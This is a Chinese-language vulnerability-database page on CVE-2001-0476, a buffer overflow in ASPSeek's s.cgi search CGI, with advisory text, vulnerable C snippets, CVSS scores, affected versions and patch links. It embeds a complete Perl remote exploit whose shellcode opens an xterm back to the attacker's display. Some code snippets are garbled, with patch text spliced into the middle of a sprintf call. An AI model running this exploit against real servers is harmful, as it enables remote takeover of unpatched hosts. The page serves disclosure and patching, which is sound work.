CVE-2001-0476
CVSS7.5
发布时间 :2001-06-27 00:00:00
修订时间 :2008-09-05 16:24:12
NMCOES    

[原文]Multiple buffer overflows in s.cgi program in Aspseek search engine 1.03 and earlier allow remote attackers to execute arbitrary commands via (1) a long HTTP query string, or (2) a long tmpl parameter.


[CNNVD]SWSoft ASPSeek搜索引擎s.cgi远程溢出漏洞(CNNVD-200106-176)

        
        Aspseek搜索引擎是用C/C++开发的搜索引擎,使用MySQL数据库存储数据。
        它所带的一个CGI程序:s.cgi中存在多个缓冲区溢出漏洞,攻击者可能远程执行任意代码。
        有问题的代码部分如下:
        1. c.cpp:
         int search(char *exe, char *arg) {
         ==>
         if ((env = getenv("QUERY_STRING")))
         {
         strcpy(query_string, env);
         ....
         }
         <==
         }
        这里query_string的定义为:
        query_string[STRSIZ] = query_string[4 x 1024]
        攻击者必须提供至少10272字节才能溢出成功,因此对于某些限制了URL长度的Web Server(例如apache,只允许8190字节长的URL),远程攻击是无用的。
        
        2. emplates.cpp:
         int CCgiQuery::ParseCgiQuery(char* query, char* templ) {
         ==>
         else if ((!STRNCMP(token, "tmpl="))
         {
         char* tmpl = token + 5;
         char tmplu[2000];
         sprintf(tmplu, "&tmpl=厂商补丁:
        SWSoft
        ------
        目前厂商已经发布了1.0.4版以修复这个安全问题,请到厂商的主页下载:
        
        http://www.sw-soft.com/trial/aspseek/1.0.4/aspseek-1.0.4.tar.gz
", tmpl);
         ....
         }
         <==
         }
        这里是一个典型的缓冲区溢出,攻击者只需提供5148字节数据就可覆盖堆栈中的返回地址,因此远程攻击是可行的。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:swsoft:aspseek:1.0
cpe:/a:swsoft:aspseek:1.0.3

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0476
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0476
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200106-176
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/static/6248.php
(VENDOR_ADVISORY)  XF  aspseek-scgi-bo
http://www.aspseek.org/changes.html
(PATCH)  CONFIRM  http://www.aspseek.org/changes.html
http://www.securityfocus.com/bid/2492
(VENDOR_ADVISORY)  BID  2492
http://archives.neohapsis.com/archives/bugtraq/2001-03/0233.html
(VENDOR_ADVISORY)  BUGTRAQ  20010318 Aspseek Buffer Overflow

- 漏洞信息

SWSoft ASPSeek搜索引擎s.cgi远程溢出漏洞
高危 边界条件错误
2001-06-27 00:00:00 2006-06-15 00:00:00
远程※本地  
        
        Aspseek搜索引擎是用C/C++开发的搜索引擎,使用MySQL数据库存储数据。
        它所带的一个CGI程序:s.cgi中存在多个缓冲区溢出漏洞,攻击者可能远程执行任意代码。
        有问题的代码部分如下:
        1. c.cpp:
         int search(char *exe, char *arg) {
         ==>
         if ((env = getenv("QUERY_STRING")))
         {
         strcpy(query_string, env);
         ....
         }
         <==
         }
        这里query_string的定义为:
        query_string[STRSIZ] = query_string[4 x 1024]
        攻击者必须提供至少10272字节才能溢出成功,因此对于某些限制了URL长度的Web Server(例如apache,只允许8190字节长的URL),远程攻击是无用的。
        
        2. emplates.cpp:
         int CCgiQuery::ParseCgiQuery(char* query, char* templ) {
         ==>
         else if ((!STRNCMP(token, "tmpl="))
         {
         char* tmpl = token + 5;
         char tmplu[2000];
         sprintf(tmplu, "&tmpl=厂商补丁:
        SWSoft
        ------
        目前厂商已经发布了1.0.4版以修复这个安全问题,请到厂商的主页下载:
        
        http://www.sw-soft.com/trial/aspseek/1.0.4/aspseek-1.0.4.tar.gz
", tmpl);
         ....
         }
         <==
         }
        这里是一个典型的缓冲区溢出,攻击者只需提供5148字节数据就可覆盖堆栈中的返回地址,因此远程攻击是可行的。
        

- 公告与补丁

        

- 漏洞信息 (20689)

SWSoft ASPSeek 1.0 s.cgi Buffer Overflow Vulnerability (EDBID:20689)
cgi remote
2001-03-19 Verified
0 teleh0r
N/A [点击下载]
source: http://www.securityfocus.com/bid/2492/info

A buffer overflow in ASPSeek versions 1.0.0 through to 1.0.3 allows for arbitrary code execution with the privileges of the web server. The vulnerable script is s.cgi and the buffer overflow can be accessed by submitting an excessively long query string to the script (the variable tmpl, specifically). 

#!/usr/bin/perl

# | Remote buffer overflow exploit for ASPSeek, SWSoft
# | Copyright (c) 2001 by <teleh0r@doglover.com>
# | All rights reserved.
# |
# | Usage: $0 -t target -a attacker -d dpy -o offset
# | Credits to NeilK who discovered the vulnerability!

use Getopt::Std; getopts('t:a:d:o:', \%args);
use Socket;

if (defined($args{'t'})) { $target   = $args{'t'}; }
if (defined($args{'a'})) { $attacker = $args{'a'}; }
if (defined($args{'d'})) { $dpy      = $args{'d'}; }
if (defined($args{'o'})) { $offset   = $args{'o'}; }

$shellcode = # RaiSe <raise@undersec.com>
"\xeb\x4f\x5e\x31\xd2\x88\x56\x14\x88\x56\x18\x88\x56".
"\x21\xb2\x2b\x31\xc9\xb1\x09\x80\x3c\x32\x4b\x74\x05".
"\x42\xe2\xf7\xeb\x2b\x88\x34\x32\x31\xd2\x89\xf3\x89".
"\x76\x36\x8d\x7e\x15\x89\x7e\x3a\x8d\x7e\x19\x89\x7e".
"\x3e\x8d\x7e\x22\x89\x7e\x42\x89\x56\x46\x8d\x4e\x36".
"\x8d\x56\x46\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x89\xd8".
"\x40\xcd\x80\xe8\xac\xff\xff\xff/usr/X11R6/bin/xterm".
"8-ut8-display8${attacker}:${dpy}K";

# Remember to allow $target to connect to your X by 
# using xhost + $target.

$return = 0xbfffd1a4;
$length = 5200;
$egglen = 4500;

if (!(defined($target && $attacker && $dpy))) {
    die("Error: $0 -t \"target\" -a \"attacker\" -d \"dpy\"\n");
}

print("Address: 0x", sprintf('%lx', ($return + $offset)), "\n");
$new_ret = pack('l', ($return + $offset));

for ($i = 0; $i < $length; $i += 4) {
    $buffer .= $new_ret;
}

for ($i = 0; $i < ($egglen - length($shellcode)); $i++) {
    $egg .= 'A';
}

$egg .= $shellcode;

$exploit =
"GET /./cgi-bin/./s.cgi?q=a&tmpl=$buffer HTTP/1.1
Host: $target
Referer: http://teleh0r.cjb.net/
User-Agent: $egg
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate, compress, identity
Content-Type: application/x-www-form-urlencoded";

$iaddr = inet_aton($target)                  || die("Error: $!\n");
$paddr = sockaddr_in(80, $iaddr)             || die("Error: $!\n");
$proto = getprotobyname('tcp')               || die("Error: $!\n");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr)                      || die("Error: $!\n");
send(SOCKET,"$exploit\015\012", 0)           || die("Error: $!\n");
close(SOCKET);

# Tested on Redhat 6.2 - aspseek-1.0.3 - Tue Mar 20 18:09:44 2001
		

- 漏洞信息

10382
Aspseek Search Engine s.cgi Multiple Parameter Remote Overflows
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

2001-03-18 Unknow
2001-03-19 Unknow

- 解决方案

Upgrade to version 1.2.4 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

SWSoft ASPSeek s.cgi Buffer Overflow Vulnerability
Boundary Condition Error 2492
Yes Yes
2001-03-19 12:00:00 2009-07-11 06:06:00
Posted to BugTraq on March 19th 2001 by "Neil K" <neilk@alldas.de>

- 受影响的程序版本

SWSoft ASPSeek 1.0.3
- Apache Software Foundation Apache 1.3
- Apache Software Foundation Apache 1.2
- Apache Software Foundation Apache 1.1
SWSoft ASPSeek 1.0.1
- Apache Software Foundation Apache 1.3
- Apache Software Foundation Apache 1.2
- Apache Software Foundation Apache 1.1
SWSoft ASPSeek 1.0
- Apache Software Foundation Apache 1.3.13
- Apache Software Foundation Apache 1.3.9
- Apache Software Foundation Apache 1.3.9
- Apache Software Foundation Apache 1.3.7 -dev
- Apache Software Foundation Apache 1.3.6
- Apache Software Foundation Apache 1.3
- Apache Software Foundation Apache 1.2
- Apache Software Foundation Apache 1.1
SWSoft ASPSeek 1.1
- Apache Software Foundation Apache 1.3
- Apache Software Foundation Apache 1.2
- Apache Software Foundation Apache 1.1
SWSoft ASPSeek 1.0.5
- Apache Software Foundation Apache 1.3
- Apache Software Foundation Apache 1.2
- Apache Software Foundation Apache 1.1
SWSoft ASPSeek 1.0.4
- Apache Software Foundation Apache 1.3
- Apache Software Foundation Apache 1.2
- Apache Software Foundation Apache 1.1

- 不受影响的程序版本

SWSoft ASPSeek 1.1
- Apache Software Foundation Apache 1.3
- Apache Software Foundation Apache 1.2
- Apache Software Foundation Apache 1.1
SWSoft ASPSeek 1.0.5
- Apache Software Foundation Apache 1.3
- Apache Software Foundation Apache 1.2
- Apache Software Foundation Apache 1.1
SWSoft ASPSeek 1.0.4
- Apache Software Foundation Apache 1.3
- Apache Software Foundation Apache 1.2
- Apache Software Foundation Apache 1.1

- 漏洞讨论

A buffer overflow in ASPSeek versions 1.0.0 through to 1.0.3 allows for arbitrary code execution with the privileges of the web server. The vulnerable script is s.cgi and the buffer overflow can be accessed by submitting an excessively long query string to the script (the variable tmpl, specifically).

- 漏洞利用

The following exploit has been provided by Neil K &lt;neilk@alldas.de&gt;:

- 解决方案

SWsoft has addressed this issue in ASPSeek v.1.0.4:


SWSoft ASPSeek 1.0

SWSoft ASPSeek 1.0.1

SWSoft ASPSeek 1.0.3

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站